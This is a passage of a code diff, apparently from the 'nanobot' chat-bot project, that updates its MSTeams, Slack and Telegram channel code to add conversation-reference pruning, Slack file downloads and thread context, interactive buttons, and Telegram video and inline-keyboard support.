||||
|
||||
conv_type = str(ref.conversation_type or "").strip().lower()
|
||||
if self.config.prune_non_personal_refs and conv_type and conv_type != "personal":
|
||||
keys_to_drop.append(key)
|
||||
continue
|
||||
|
||||
try:
|
||||
updated_at = float(ref.updated_at) if ref.updated_at is not None else 0.0
|
||||
except (TypeError, ValueError):
|
||||
updated_at = 0.0
|
||||
if updated_at <= 0 or updated_at < stale_before:
|
||||
keys_to_drop.append(key)
|
||||
|
||||
if not keys_to_drop:
|
||||
return False
|
||||
|
||||
for key in keys_to_drop:
|
||||
self._conversation_refs.pop(key, None)
|
||||
logger.info(
|
||||
"MSTeams pruned {} stale/unsupported conversation refs (ttl={} days)",
|
||||
len(keys_to_drop),
|
||||
ttl_days,
|
||||
)
|
||||
return True
|
||||
|
||||
def _merge_refs_from_disk_locked(self) -> None:
|
||||
"""Merge disk refs into memory to reduce lost updates across processes."""
|
||||
disk_refs = self._load_refs_from_disk()
|
||||
for key, disk_ref in disk_refs.items():
|
||||
mem_ref = self._conversation_refs.get(key)
|
||||
if mem_ref is None:
|
||||
self._conversation_refs[key] = disk_ref
|
||||
continue
|
||||
disk_ts = self._safe_float(disk_ref.updated_at) or 0.0
|
||||
mem_ts = self._safe_float(mem_ref.updated_at) or 0.0
|
||||
if disk_ts > mem_ts:
|
||||
self._conversation_refs[key] = disk_ref
|
||||
|
||||
def _touch_conversation_ref(self, chat_id: str, *, persist: bool = False) -> None:
|
||||
"""Refresh updated_at for an active ref to keep it from expiring while used."""
|
||||
with self._refs_guard:
|
||||
ref = self._conversation_refs.get(str(chat_id))
|
||||
if not ref:
|
||||
return
|
||||
now = time.time()
|
||||
prev = self._safe_float(ref.updated_at) or 0.0
|
||||
min_interval = max(0, int(self.config.ref_touch_interval_s))
|
||||
if min_interval > 0 and prev > 0 and now - prev < min_interval:
|
||||
return
|
||||
ref.updated_at = now
|
||||
if persist:
|
||||
self._save_refs_locked()
|
||||
|
||||
def _write_json_atomically(self, path, data: dict[str, Any]) -> None:
|
||||
"""Write refs JSON atomically to reduce corruption risk during crashes."""
|
||||
payload = json.dumps(data, indent=2)
|
||||
tmp_path: str | None = None
|
||||
try:
|
||||
fd, tmp_path = tempfile.mkstemp(
|
||||
dir=str(path.parent),
|
||||
prefix=f"{path.name}.",
|
||||
suffix=".tmp",
|
||||
)
|
||||
with os.fdopen(fd, "w", encoding="utf-8") as f:
|
||||
f.write(payload)
|
||||
f.flush()
|
||||
os.fsync(f.fileno())
|
||||
os.replace(tmp_path, path)
|
||||
finally:
|
||||
if tmp_path and os.path.exists(tmp_path):
|
||||
try:
|
||||
os.unlink(tmp_path)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
def _save_refs_locked(self, *, prune: bool = True) -> None:
|
||||
"""Persist conversation references (caller must hold _refs_guard)."""
|
||||
try:
|
||||
with self._refs_file_lock():
|
||||
self._merge_refs_from_disk_locked()
|
||||
if prune:
|
||||
self._prune_conversation_refs()
|
||||
refs_data = {
|
||||
key: {
|
||||
"service_url": ref.service_url,
|
||||
"conversation_id": ref.conversation_id,
|
||||
"bot_id": ref.bot_id,
|
||||
"activity_id": ref.activity_id,
|
||||
"conversation_type": ref.conversation_type,
|
||||
"tenant_id": ref.tenant_id,
|
||||
}
|
||||
for key, ref in self._conversation_refs.items()
|
||||
}
|
||||
for key, ref in self._conversation_refs.items()
|
||||
}
|
||||
self._refs_path.write_text(json.dumps(data, indent=2), encoding="utf-8")
|
||||
refs_meta = {
|
||||
key: {
|
||||
"updated_at": self._safe_float(ref.updated_at),
|
||||
}
|
||||
for key, ref in self._conversation_refs.items()
|
||||
}
|
||||
self._write_json_atomically(self._refs_path, refs_data)
|
||||
self._write_json_atomically(self._refs_meta_path, refs_meta)
|
||||
except Exception as e:
|
||||
logger.warning("Failed to save MSTeams conversation refs: {}", e)
|
||||
|
||||
def _save_refs(self, *, prune: bool = True) -> None:
|
||||
"""Persist conversation references."""
|
||||
with self._refs_guard:
|
||||
self._save_refs_locked(prune=prune)
|
||||
|
||||
async def _get_access_token(self) -> str:
|
||||
"""Fetch an access token for Bot Framework / Azure Bot auth."""
|
||||
|
||||
|
||||
+256
-25
@@ -2,8 +2,10 @@
|
||||
|
||||
import asyncio
|
||||
import re
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
import httpx
|
||||
from loguru import logger
|
||||
from pydantic import Field
|
||||
from slack_sdk.socket_mode.request import SocketModeRequest
|
||||
@@ -15,7 +17,9 @@ from slackify_markdown import slackify_markdown
|
||||
from nanobot.bus.events import OutboundMessage
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.channels.base import BaseChannel
|
||||
from nanobot.config.paths import get_media_dir
|
||||
from nanobot.config.schema import Base
|
||||
from nanobot.utils.helpers import safe_filename, split_message
|
||||
|
||||
|
||||
class SlackDMConfig(Base):
|
||||
@@ -38,12 +42,19 @@ class SlackConfig(Base):
|
||||
reply_in_thread: bool = True
|
||||
react_emoji: str = "eyes"
|
||||
done_emoji: str = "white_check_mark"
|
||||
include_thread_context: bool = True
|
||||
thread_context_limit: int = 20
|
||||
allow_from: list[str] = Field(default_factory=list)
|
||||
group_policy: str = "mention"
|
||||
group_allow_from: list[str] = Field(default_factory=list)
|
||||
dm: SlackDMConfig = Field(default_factory=SlackDMConfig)
|
||||
|
||||
|
||||
SLACK_MAX_MESSAGE_LEN = 39_000 # Slack API allows ~40k; leave margin
|
||||
SLACK_DOWNLOAD_TIMEOUT = 30.0
|
||||
_HTML_DOWNLOAD_PREFIXES = (b"<!doctype html", b"<html")
|
||||
|
||||
|
||||
class SlackChannel(BaseChannel):
|
||||
"""Slack channel using Socket Mode."""
|
||||
|
||||
@@ -57,6 +68,8 @@ class SlackChannel(BaseChannel):
|
||||
def default_config(cls) -> dict[str, Any]:
|
||||
return SlackConfig().model_dump(by_alias=True)
|
||||
|
||||
_THREAD_CONTEXT_CACHE_LIMIT = 10_000
|
||||
|
||||
def __init__(self, config: Any, bus: MessageBus):
|
||||
if isinstance(config, dict):
|
||||
config = SlackConfig.model_validate(config)
|
||||
@@ -66,6 +79,7 @@ class SlackChannel(BaseChannel):
|
||||
self._socket_client: SocketModeClient | None = None
|
||||
self._bot_user_id: str | None = None
|
||||
self._target_cache: dict[str, str] = {}
|
||||
self._thread_context_attempted: set[str] = set()
|
||||
|
||||
async def start(self) -> None:
|
||||
"""Start the Slack Socket Mode client."""
|
||||
@@ -119,23 +133,27 @@ class SlackChannel(BaseChannel):
|
||||
target_chat_id = await self._resolve_target_chat_id(msg.chat_id)
|
||||
slack_meta = msg.metadata.get("slack", {}) if msg.metadata else {}
|
||||
thread_ts = slack_meta.get("thread_ts")
|
||||
channel_type = slack_meta.get("channel_type")
|
||||
origin_chat_id = str((slack_meta.get("event", {}) or {}).get("channel") or msg.chat_id)
|
||||
# Slack DMs don't use threads; channel/group replies may keep thread_ts.
|
||||
thread_ts_param = (
|
||||
thread_ts
|
||||
if thread_ts and channel_type != "im" and target_chat_id == origin_chat_id
|
||||
else None
|
||||
)
|
||||
# Reply in the same thread the inbound message belongs to (works
|
||||
# for both real channel threads and DM threads). When the agent
|
||||
# is forwarding to a different channel, drop thread_ts because it
|
||||
# only makes sense within the originating conversation.
|
||||
thread_ts_param = thread_ts if thread_ts and target_chat_id == origin_chat_id else None
|
||||
|
||||
# Slack rejects empty text payloads. Keep media-only messages media-only,
|
||||
# but send a single blank message when the bot has no text or files to send.
|
||||
if msg.content or not (msg.media or []):
|
||||
await self._web_client.chat_postMessage(
|
||||
channel=target_chat_id,
|
||||
text=self._to_mrkdwn(msg.content) if msg.content else " ",
|
||||
thread_ts=thread_ts_param,
|
||||
)
|
||||
is_progress = (msg.metadata or {}).get("_progress", False)
|
||||
if is_progress and not msg.content:
|
||||
pass # skip empty progress messages (e.g. tool-event-only updates)
|
||||
elif msg.content or not (msg.media or []):
|
||||
mrkdwn = self._to_mrkdwn(msg.content) if msg.content else " "
|
||||
buttons = getattr(msg, "buttons", None) or []
|
||||
chunks = split_message(mrkdwn, SLACK_MAX_MESSAGE_LEN)
|
||||
for index, chunk in enumerate(chunks):
|
||||
kwargs: dict[str, Any] = dict(
|
||||
channel=target_chat_id, text=chunk, thread_ts=thread_ts_param,
|
||||
)
|
||||
if buttons and index == len(chunks) - 1:
|
||||
kwargs["blocks"] = self._build_button_blocks(chunk, buttons)
|
||||
await self._web_client.chat_postMessage(**kwargs)
|
||||
|
||||
for media_path in msg.media or []:
|
||||
try:
|
||||
@@ -273,6 +291,9 @@ class SlackChannel(BaseChannel):
|
||||
req: SocketModeRequest,
|
||||
) -> None:
|
||||
"""Handle incoming Socket Mode requests."""
|
||||
if req.type == "interactive":
|
||||
await self._on_block_action(client, req)
|
||||
return
|
||||
if req.type != "events_api":
|
||||
return
|
||||
|
||||
@@ -292,8 +313,10 @@ class SlackChannel(BaseChannel):
|
||||
sender_id = event.get("user")
|
||||
chat_id = event.get("channel")
|
||||
|
||||
# Ignore bot/system messages (any subtype = not a normal user message)
|
||||
if event.get("subtype"):
|
||||
subtype = event.get("subtype")
|
||||
# Slack uses subtype=file_share for user messages with attachments.
|
||||
# Ignore other subtypes such as bot_message / message_changed / deleted.
|
||||
if subtype and subtype != "file_share":
|
||||
return
|
||||
if self._bot_user_id and sender_id == self._bot_user_id:
|
||||
return
|
||||
@@ -308,7 +331,7 @@ class SlackChannel(BaseChannel):
|
||||
logger.debug(
|
||||
"Slack event: type={} subtype={} user={} channel={} channel_type={} text={}",
|
||||
event_type,
|
||||
event.get("subtype"),
|
||||
subtype,
|
||||
sender_id,
|
||||
chat_id,
|
||||
event.get("channel_type"),
|
||||
@@ -327,9 +350,18 @@ class SlackChannel(BaseChannel):
|
||||
|
||||
text = self._strip_bot_mention(text)
|
||||
|
||||
thread_ts = event.get("thread_ts")
|
||||
if self.config.reply_in_thread and not thread_ts:
|
||||
thread_ts = event.get("ts")
|
||||
event_ts = event.get("ts")
|
||||
raw_thread_ts = event.get("thread_ts")
|
||||
thread_ts = raw_thread_ts
|
||||
# In DMs we don't auto-open a thread on top-level messages (it would
|
||||
# bury replies under "1 reply"). But if the user explicitly opened a
|
||||
# thread inside the DM, raw_thread_ts is set and we honor it.
|
||||
if (
|
||||
self.config.reply_in_thread
|
||||
and not thread_ts
|
||||
and channel_type != "im"
|
||||
):
|
||||
thread_ts = event_ts
|
||||
# Add :eyes: reaction to the triggering message (best-effort)
|
||||
try:
|
||||
if self._web_client and event.get("ts"):
|
||||
@@ -341,14 +373,43 @@ class SlackChannel(BaseChannel):
|
||||
except Exception as e:
|
||||
logger.debug("Slack reactions_add failed: {}", e)
|
||||
|
||||
# Thread-scoped session key for channel/group messages
|
||||
session_key = f"slack:{chat_id}:{thread_ts}" if thread_ts and channel_type != "im" else None
|
||||
# Thread-scoped session key whenever the user is in a real thread
|
||||
# (raw_thread_ts is set). DM threads get their own session, separate
|
||||
# from the DM root, so context doesn't bleed across thread boundaries.
|
||||
session_key = (
|
||||
f"slack:{chat_id}:{thread_ts}" if thread_ts and raw_thread_ts else None
|
||||
)
|
||||
media_paths: list[str] = []
|
||||
file_markers: list[str] = []
|
||||
for file_info in event.get("files") or []:
|
||||
if not isinstance(file_info, dict):
|
||||
continue
|
||||
file_path, marker = await self._download_slack_file(file_info)
|
||||
if file_path:
|
||||
media_paths.append(file_path)
|
||||
if marker:
|
||||
file_markers.append(marker)
|
||||
|
||||
is_slash = text.strip().startswith("/")
|
||||
content = text if is_slash else await self._with_thread_context(
|
||||
text,
|
||||
chat_id=chat_id,
|
||||
channel_type=channel_type,
|
||||
thread_ts=thread_ts,
|
||||
raw_thread_ts=raw_thread_ts,
|
||||
current_ts=event_ts,
|
||||
)
|
||||
if file_markers:
|
||||
content = "\n".join(part for part in [content, *file_markers] if part)
|
||||
if not content and not media_paths:
|
||||
return
|
||||
|
||||
try:
|
||||
await self._handle_message(
|
||||
sender_id=sender_id,
|
||||
chat_id=chat_id,
|
||||
content=text,
|
||||
content=content,
|
||||
media=media_paths,
|
||||
metadata={
|
||||
"slack": {
|
||||
"event": event,
|
||||
@@ -361,6 +422,163 @@ class SlackChannel(BaseChannel):
|
||||
except Exception:
|
||||
logger.exception("Error handling Slack message from {}", sender_id)
|
||||
|
||||
async def _download_slack_file(self, file_info: dict[str, Any]) -> tuple[str | None, str]:
|
||||
"""Download a Slack private file to the local media directory."""
|
||||
file_id = str(file_info.get("id") or "file")
|
||||
name = str(
|
||||
file_info.get("name")
|
||||
or file_info.get("title")
|
||||
or file_info.get("id")
|
||||
or "slack-file"
|
||||
)
|
||||
marker_type = "image" if str(file_info.get("mimetype") or "").startswith("image/") else "file"
|
||||
marker = f"[{marker_type}: {name}]"
|
||||
url = str(file_info.get("url_private_download") or file_info.get("url_private") or "")
|
||||
if not url:
|
||||
return None, f"[{marker_type}: {name}: missing download url]"
|
||||
if not self.config.bot_token:
|
||||
return None, f"[{marker_type}: {name}: missing bot token]"
|
||||
|
||||
filename = safe_filename(f"{file_id}_{name}")
|
||||
path = Path(get_media_dir("slack")) / filename
|
||||
try:
|
||||
async with httpx.AsyncClient(timeout=SLACK_DOWNLOAD_TIMEOUT, follow_redirects=True) as client:
|
||||
response = await client.get(
|
||||
url,
|
||||
headers={"Authorization": f"Bearer {self.config.bot_token}"},
|
||||
)
|
||||
response.raise_for_status()
|
||||
if self._looks_like_html_download(response):
|
||||
raise ValueError("Slack returned HTML instead of file content")
|
||||
path.write_bytes(response.content)
|
||||
return str(path), marker
|
||||
except Exception as e:
|
||||
logger.warning("Failed to download Slack file {}: {}", file_id, e)
|
||||
return None, f"[{marker_type}: {name}: download failed]"
|
||||
|
||||
@staticmethod
|
||||
def _looks_like_html_download(response: httpx.Response) -> bool:
|
||||
content_type = response.headers.get("content-type", "").lower()
|
||||
if "text/html" in content_type:
|
||||
return True
|
||||
preview = response.content[:256].lstrip().lower()
|
||||
return preview.startswith(_HTML_DOWNLOAD_PREFIXES)
|
||||
|
||||
async def _on_block_action(self, client: SocketModeClient, req: SocketModeRequest) -> None:
|
||||
"""Handle button clicks from ask_user blocks."""
|
||||
await client.send_socket_mode_response(SocketModeResponse(envelope_id=req.envelope_id))
|
||||
payload = req.payload or {}
|
||||
actions = payload.get("actions") or []
|
||||
if not actions:
|
||||
return
|
||||
value = str(actions[0].get("value") or "")
|
||||
user_info = payload.get("user") or {}
|
||||
sender_id = str(user_info.get("id") or "")
|
||||
channel_info = payload.get("channel") or {}
|
||||
chat_id = str(channel_info.get("id") or "")
|
||||
if not sender_id or not chat_id or not value:
|
||||
return
|
||||
message_info = payload.get("message") or {}
|
||||
thread_ts = message_info.get("thread_ts") or message_info.get("ts")
|
||||
channel_type = self._infer_channel_type(chat_id)
|
||||
if not self._is_allowed(sender_id, chat_id, channel_type):
|
||||
return
|
||||
session_key = f"slack:{chat_id}:{thread_ts}" if thread_ts else None
|
||||
try:
|
||||
await self._handle_message(
|
||||
sender_id=sender_id,
|
||||
chat_id=chat_id,
|
||||
content=value,
|
||||
metadata={"slack": {"thread_ts": thread_ts, "channel_type": channel_type}},
|
||||
session_key=session_key,
|
||||
)
|
||||
except Exception:
|
||||
logger.exception("Error handling Slack button click from {}", sender_id)
|
||||
|
||||
async def _with_thread_context(
|
||||
self,
|
||||
text: str,
|
||||
*,
|
||||
chat_id: str,
|
||||
channel_type: str,
|
||||
thread_ts: str | None,
|
||||
raw_thread_ts: str | None,
|
||||
current_ts: str | None,
|
||||
) -> str:
|
||||
"""Include thread history the first time the bot is pulled into a Slack thread."""
|
||||
del channel_type # DM and channel threads are both fetched via conversations.replies
|
||||
if (
|
||||
not self.config.include_thread_context
|
||||
or not self._web_client
|
||||
or not raw_thread_ts
|
||||
or not thread_ts
|
||||
or current_ts == thread_ts
|
||||
):
|
||||
return text
|
||||
|
||||
key = f"{chat_id}:{thread_ts}"
|
||||
if key in self._thread_context_attempted:
|
||||
return text
|
||||
if len(self._thread_context_attempted) >= self._THREAD_CONTEXT_CACHE_LIMIT:
|
||||
self._thread_context_attempted.clear()
|
||||
self._thread_context_attempted.add(key)
|
||||
|
||||
try:
|
||||
response = await self._web_client.conversations_replies(
|
||||
channel=chat_id,
|
||||
ts=thread_ts,
|
||||
limit=max(1, self.config.thread_context_limit),
|
||||
)
|
||||
except Exception as e:
|
||||
logger.warning("Slack thread context unavailable for {}: {}", key, e)
|
||||
return text
|
||||
|
||||
lines = self._format_thread_context(
|
||||
response.get("messages", []),
|
||||
current_ts=current_ts,
|
||||
)
|
||||
if not lines:
|
||||
return text
|
||||
return "Slack thread context before this mention:\n" + "\n".join(lines) + f"\n\nCurrent message:\n{text}"
|
||||
|
||||
def _format_thread_context(self, messages: list[dict[str, Any]], *, current_ts: str | None) -> list[str]:
|
||||
lines: list[str] = []
|
||||
for item in messages:
|
||||
if item.get("ts") == current_ts:
|
||||
continue
|
||||
if item.get("subtype"):
|
||||
continue
|
||||
sender = str(item.get("user") or item.get("bot_id") or "unknown")
|
||||
is_bot = self._bot_user_id is not None and sender == self._bot_user_id
|
||||
label = "bot" if is_bot else f"<@{sender}>"
|
||||
text = str(item.get("text") or "").strip()
|
||||
if not text:
|
||||
continue
|
||||
text = self._strip_bot_mention(text)
|
||||
if len(text) > 500:
|
||||
text = text[:500] + "…"
|
||||
lines.append(f"- {label}: {text}")
|
||||
return lines
|
||||
|
||||
@staticmethod
|
||||
def _build_button_blocks(text: str, buttons: list[list[str]]) -> list[dict[str, Any]]:
|
||||
"""Build Slack Block Kit blocks with action buttons for ask_user choices."""
|
||||
blocks: list[dict[str, Any]] = [
|
||||
{"type": "section", "text": {"type": "mrkdwn", "text": text[:3000]}},
|
||||
]
|
||||
elements = []
|
||||
for row in buttons:
|
||||
for label in row:
|
||||
elements.append({
|
||||
"type": "button",
|
||||
"text": {"type": "plain_text", "text": label[:75]},
|
||||
"value": label[:75],
|
||||
"action_id": f"ask_user_{label[:50]}",
|
||||
})
|
||||
if elements:
|
||||
blocks.append({"type": "actions", "elements": elements[:25]})
|
||||
return blocks
|
||||
|
||||
async def _update_react_emoji(self, chat_id: str, ts: str | None) -> None:
|
||||
"""Remove the in-progress reaction and optionally add a done reaction."""
|
||||
if not self._web_client or not ts:
|
||||
@@ -407,6 +625,19 @@ class SlackChannel(BaseChannel):
|
||||
return chat_id in self.config.group_allow_from
|
||||
return False
|
||||
|
||||
def is_allowed(self, sender_id: str) -> bool:
|
||||
# Slack needs channel-aware policy checks, so _on_socket_request and
|
||||
# _on_block_action call _is_allowed before handing off to BaseChannel.
|
||||
return True
|
||||
|
||||
@staticmethod
|
||||
def _infer_channel_type(chat_id: str) -> str:
|
||||
if chat_id.startswith("D"):
|
||||
return "im"
|
||||
if chat_id.startswith("G"):
|
||||
return "group"
|
||||
return "channel"
|
||||
|
||||
def _strip_bot_mention(self, text: str) -> str:
|
||||
if not text or not self._bot_user_id:
|
||||
return text
|
||||
@@ -425,7 +656,7 @@ class SlackChannel(BaseChannel):
|
||||
if not text:
|
||||
return ""
|
||||
text = cls._TABLE_RE.sub(cls._convert_table, text)
|
||||
return cls._fixup_mrkdwn(slackify_markdown(text))
|
||||
return cls._fixup_mrkdwn(slackify_markdown(text)).rstrip("\n")
|
||||
|
||||
@classmethod
|
||||
def _fixup_mrkdwn(cls, text: str) -> str:
|
||||
|
||||
+130
-26
@@ -7,13 +7,21 @@ import re
|
||||
import time
|
||||
import unicodedata
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Any, Literal
|
||||
|
||||
from loguru import logger
|
||||
from pydantic import Field
|
||||
from telegram import BotCommand, ReactionTypeEmoji, ReplyParameters, Update
|
||||
from telegram import (
|
||||
BotCommand,
|
||||
InlineKeyboardButton,
|
||||
InlineKeyboardMarkup,
|
||||
ReactionTypeEmoji,
|
||||
ReplyParameters,
|
||||
Update,
|
||||
)
|
||||
from telegram.error import BadRequest, NetworkError, TimedOut
|
||||
from telegram.ext import Application, ContextTypes, MessageHandler, filters
|
||||
from telegram.ext import Application, CallbackQueryHandler, ContextTypes, MessageHandler, filters
|
||||
from telegram.request import HTTPXRequest
|
||||
|
||||
from nanobot.bus.events import OutboundMessage
|
||||
@@ -230,6 +238,8 @@ class TelegramConfig(Base):
|
||||
connection_pool_size: int = 32
|
||||
pool_timeout: float = 5.0
|
||||
streaming: bool = True
|
||||
# Enable inline keyboard buttons in Telegram messages.
|
||||
inline_keyboards: bool = False
|
||||
stream_edit_interval: float = Field(default=_STREAM_EDIT_INTERVAL_DEFAULT, ge=0.1)
|
||||
|
||||
|
||||
@@ -250,6 +260,7 @@ class TelegramChannel(BaseChannel):
|
||||
BotCommand("stop", "Stop the current task"),
|
||||
BotCommand("restart", "Restart the bot"),
|
||||
BotCommand("status", "Show bot status"),
|
||||
BotCommand("history", "Show recent conversation messages"),
|
||||
BotCommand("dream", "Run Dream memory consolidation now"),
|
||||
BotCommand("dream_log", "Show the latest Dream memory change"),
|
||||
BotCommand("dream_restore", "Restore Dream memory to an earlier version"),
|
||||
@@ -355,15 +366,25 @@ class TelegramChannel(BaseChannel):
|
||||
)
|
||||
self._app.add_handler(MessageHandler(filters.Regex(r"^/help(?:@\w+)?$"), self._on_help))
|
||||
|
||||
# Add message handler for text, photos, voice, documents, and locations
|
||||
# Add message handler for text, photos, video, voice, documents, and locations
|
||||
self._app.add_handler(
|
||||
MessageHandler(
|
||||
(filters.TEXT | filters.PHOTO | filters.VOICE | filters.AUDIO | filters.Document.ALL | filters.LOCATION)
|
||||
(filters.TEXT | filters.PHOTO | filters.VIDEO | filters.VIDEO_NOTE
|
||||
| filters.ANIMATION | filters.VOICE | filters.AUDIO
|
||||
| filters.Document.ALL | filters.LOCATION)
|
||||
& ~filters.COMMAND,
|
||||
self._on_message
|
||||
)
|
||||
)
|
||||
|
||||
# Conditionally register inline keyboard callback handler
|
||||
if self.config.inline_keyboards:
|
||||
self._app.add_handler(CallbackQueryHandler(self._on_callback_query))
|
||||
allowed_updates = ["message", "callback_query"]
|
||||
logger.debug("Telegram inline keyboards enabled")
|
||||
else:
|
||||
allowed_updates = ["message"]
|
||||
|
||||
logger.info("Starting Telegram bot (polling mode)...")
|
||||
|
||||
# Initialize and start polling
|
||||
@@ -384,7 +405,7 @@ class TelegramChannel(BaseChannel):
|
||||
|
||||
# Start polling (this runs until stopped)
|
||||
await self._app.updater.start_polling(
|
||||
allowed_updates=["message"],
|
||||
allowed_updates=allowed_updates,
|
||||
drop_pending_updates=False, # Process pending messages on startup
|
||||
error_callback=self._on_polling_error,
|
||||
)
|
||||
@@ -419,6 +440,8 @@ class TelegramChannel(BaseChannel):
|
||||
ext = path.rsplit(".", 1)[-1].lower() if "." in path else ""
|
||||
if ext in ("jpg", "jpeg", "png", "gif", "webp"):
|
||||
return "photo"
|
||||
if ext in ("mp4", "mov", "avi", "mkv", "webm", "3gp"):
|
||||
return "video"
|
||||
if ext == "ogg":
|
||||
return "voice"
|
||||
if ext in ("mp3", "m4a", "wav", "aac"):
|
||||
@@ -471,10 +494,19 @@ class TelegramChannel(BaseChannel):
|
||||
media_type = self._get_media_type(media_path)
|
||||
sender = {
|
||||
"photo": self._app.bot.send_photo,
|
||||
"video": self._app.bot.send_video,
|
||||
"voice": self._app.bot.send_voice,
|
||||
"audio": self._app.bot.send_audio,
|
||||
}.get(media_type, self._app.bot.send_document)
|
||||
param = "photo" if media_type == "photo" else media_type if media_type in ("voice", "audio") else "document"
|
||||
param = {
|
||||
"photo": "photo",
|
||||
"video": "video",
|
||||
"voice": "voice",
|
||||
"audio": "audio",
|
||||
}.get(media_type, "document")
|
||||
extra: dict[str, Any] = {}
|
||||
if media_type == "video":
|
||||
extra["supports_streaming"] = True
|
||||
|
||||
# Telegram Bot API accepts HTTP(S) URLs directly for media params.
|
||||
if self._is_remote_media_url(media_path):
|
||||
@@ -487,16 +519,21 @@ class TelegramChannel(BaseChannel):
|
||||
**{param: media_path},
|
||||
reply_parameters=reply_params,
|
||||
**thread_kwargs,
|
||||
**extra,
|
||||
)
|
||||
continue
|
||||
|
||||
with open(media_path, "rb") as f:
|
||||
await sender(
|
||||
chat_id=chat_id,
|
||||
**{param: f},
|
||||
reply_parameters=reply_params,
|
||||
**thread_kwargs,
|
||||
)
|
||||
media_bytes = Path(media_path).read_bytes()
|
||||
filename = Path(media_path).name
|
||||
send_kwargs = {param: media_bytes, "filename": filename}
|
||||
await self._call_with_retry(
|
||||
sender,
|
||||
chat_id=chat_id,
|
||||
reply_parameters=reply_params,
|
||||
**thread_kwargs,
|
||||
**extra,
|
||||
**send_kwargs,
|
||||
)
|
||||
except Exception as e:
|
||||
filename = media_path.rsplit("/", 1)[-1]
|
||||
logger.error("Failed to send media {}: {}", media_path, e)
|
||||
@@ -510,16 +547,25 @@ class TelegramChannel(BaseChannel):
|
||||
# Send text content
|
||||
if msg.content and msg.content != "[empty message]":
|
||||
render_as_blockquote = bool(msg.metadata.get("_tool_hint"))
|
||||
for chunk in split_message(msg.content, TELEGRAM_MAX_MESSAGE_LEN):
|
||||
buttons = getattr(msg, "buttons", None) or []
|
||||
reply_markup = self._build_keyboard(buttons) if buttons else None
|
||||
text = msg.content
|
||||
# Fallback: no native keyboard → splice labels into the message so the choices survive.
|
||||
if buttons and reply_markup is None:
|
||||
text = f"{text}\n\n{self._buttons_as_text(buttons)}"
|
||||
chunks = split_message(text, TELEGRAM_MAX_MESSAGE_LEN)
|
||||
for i, chunk in enumerate(chunks):
|
||||
is_last = (i == len(chunks) - 1)
|
||||
await self._send_text(
|
||||
chat_id, chunk, reply_params, thread_kwargs,
|
||||
render_as_blockquote=render_as_blockquote,
|
||||
reply_markup=reply_markup if is_last else None,
|
||||
)
|
||||
|
||||
async def _call_with_retry(self, fn, *args, **kwargs):
|
||||
"""Call an async Telegram API function with retry on pool/network timeout and RetryAfter."""
|
||||
from telegram.error import RetryAfter
|
||||
|
||||
|
||||
for attempt in range(1, _SEND_MAX_RETRIES + 1):
|
||||
try:
|
||||
return await fn(*args, **kwargs)
|
||||
@@ -549,6 +595,7 @@ class TelegramChannel(BaseChannel):
|
||||
reply_params=None,
|
||||
thread_kwargs: dict | None = None,
|
||||
render_as_blockquote: bool = False,
|
||||
reply_markup=None,
|
||||
) -> None:
|
||||
"""Send a plain text message with HTML fallback."""
|
||||
try:
|
||||
@@ -557,12 +604,10 @@ class TelegramChannel(BaseChannel):
|
||||
self._app.bot.send_message,
|
||||
chat_id=chat_id, text=html, parse_mode="HTML",
|
||||
reply_parameters=reply_params,
|
||||
reply_markup=reply_markup,
|
||||
**(thread_kwargs or {}),
|
||||
)
|
||||
except BadRequest as e:
|
||||
# Only fall back to plain text on actual HTML parse/format errors.
|
||||
# Network errors (TimedOut, NetworkError) should propagate immediately
|
||||
# to avoid doubling connection demand during pool exhaustion.
|
||||
logger.warning("HTML parse failed, falling back to plain text: {}", e)
|
||||
try:
|
||||
await self._call_with_retry(
|
||||
@@ -570,6 +615,7 @@ class TelegramChannel(BaseChannel):
|
||||
chat_id=chat_id,
|
||||
text=text,
|
||||
reply_parameters=reply_params,
|
||||
reply_markup=reply_markup,
|
||||
**(thread_kwargs or {}),
|
||||
)
|
||||
except Exception as e2:
|
||||
@@ -796,13 +842,13 @@ class TelegramChannel(BaseChannel):
|
||||
text = getattr(reply, "text", None) or getattr(reply, "caption", None) or ""
|
||||
if len(text) > TELEGRAM_REPLY_CONTEXT_MAX_LEN:
|
||||
text = text[:TELEGRAM_REPLY_CONTEXT_MAX_LEN] + "..."
|
||||
|
||||
|
||||
if not text:
|
||||
return None
|
||||
|
||||
|
||||
bot_id, _ = await self._ensure_bot_identity()
|
||||
reply_user = getattr(reply, "from_user", None)
|
||||
|
||||
|
||||
if bot_id and reply_user and getattr(reply_user, "id", None) == bot_id:
|
||||
return f"[Reply to bot: {text}]"
|
||||
elif reply_user and getattr(reply_user, "username", None):
|
||||
@@ -947,7 +993,7 @@ class TelegramChannel(BaseChannel):
|
||||
message = update.message
|
||||
user = update.effective_user
|
||||
self._remember_thread_context(message)
|
||||
|
||||
|
||||
# Strip @bot_username suffix if present
|
||||
content = message.text or ""
|
||||
if content.startswith("/") and "@" in content:
|
||||
@@ -955,7 +1001,7 @@ class TelegramChannel(BaseChannel):
|
||||
cmd_part = cmd_part.split("@")[0]
|
||||
content = f"{cmd_part} {rest[0]}" if rest else cmd_part
|
||||
content = self._normalize_telegram_command(content)
|
||||
|
||||
|
||||
await self._handle_message(
|
||||
sender_id=self._sender_id(user),
|
||||
chat_id=str(message.chat_id),
|
||||
@@ -1165,18 +1211,76 @@ class TelegramChannel(BaseChannel):
|
||||
if mime_type:
|
||||
ext_map = {
|
||||
"image/jpeg": ".jpg", "image/png": ".png", "image/gif": ".gif",
|
||||
"image/webp": ".webp",
|
||||
"audio/ogg": ".ogg", "audio/mpeg": ".mp3", "audio/mp4": ".m4a",
|
||||
"video/mp4": ".mp4", "video/quicktime": ".mov", "video/webm": ".webm",
|
||||
"video/x-matroska": ".mkv", "video/3gpp": ".3gp",
|
||||
}
|
||||
if mime_type in ext_map:
|
||||
return ext_map[mime_type]
|
||||
|
||||
type_map = {"image": ".jpg", "voice": ".ogg", "audio": ".mp3", "file": ""}
|
||||
type_map = {"image": ".jpg", "voice": ".ogg", "audio": ".mp3", "video": ".mp4", "file": ""}
|
||||
if ext := type_map.get(media_type, ""):
|
||||
return ext
|
||||
|
||||
if filename:
|
||||
from pathlib import Path
|
||||
|
||||
return "".join(Path(filename).suffixes)
|
||||
|
||||
return ""
|
||||
|
||||
def _build_keyboard(self, buttons: list) -> InlineKeyboardMarkup | None:
|
||||
"""Build inline keyboard markup if inline_keyboards is enabled."""
|
||||
if not buttons or not self.config.inline_keyboards:
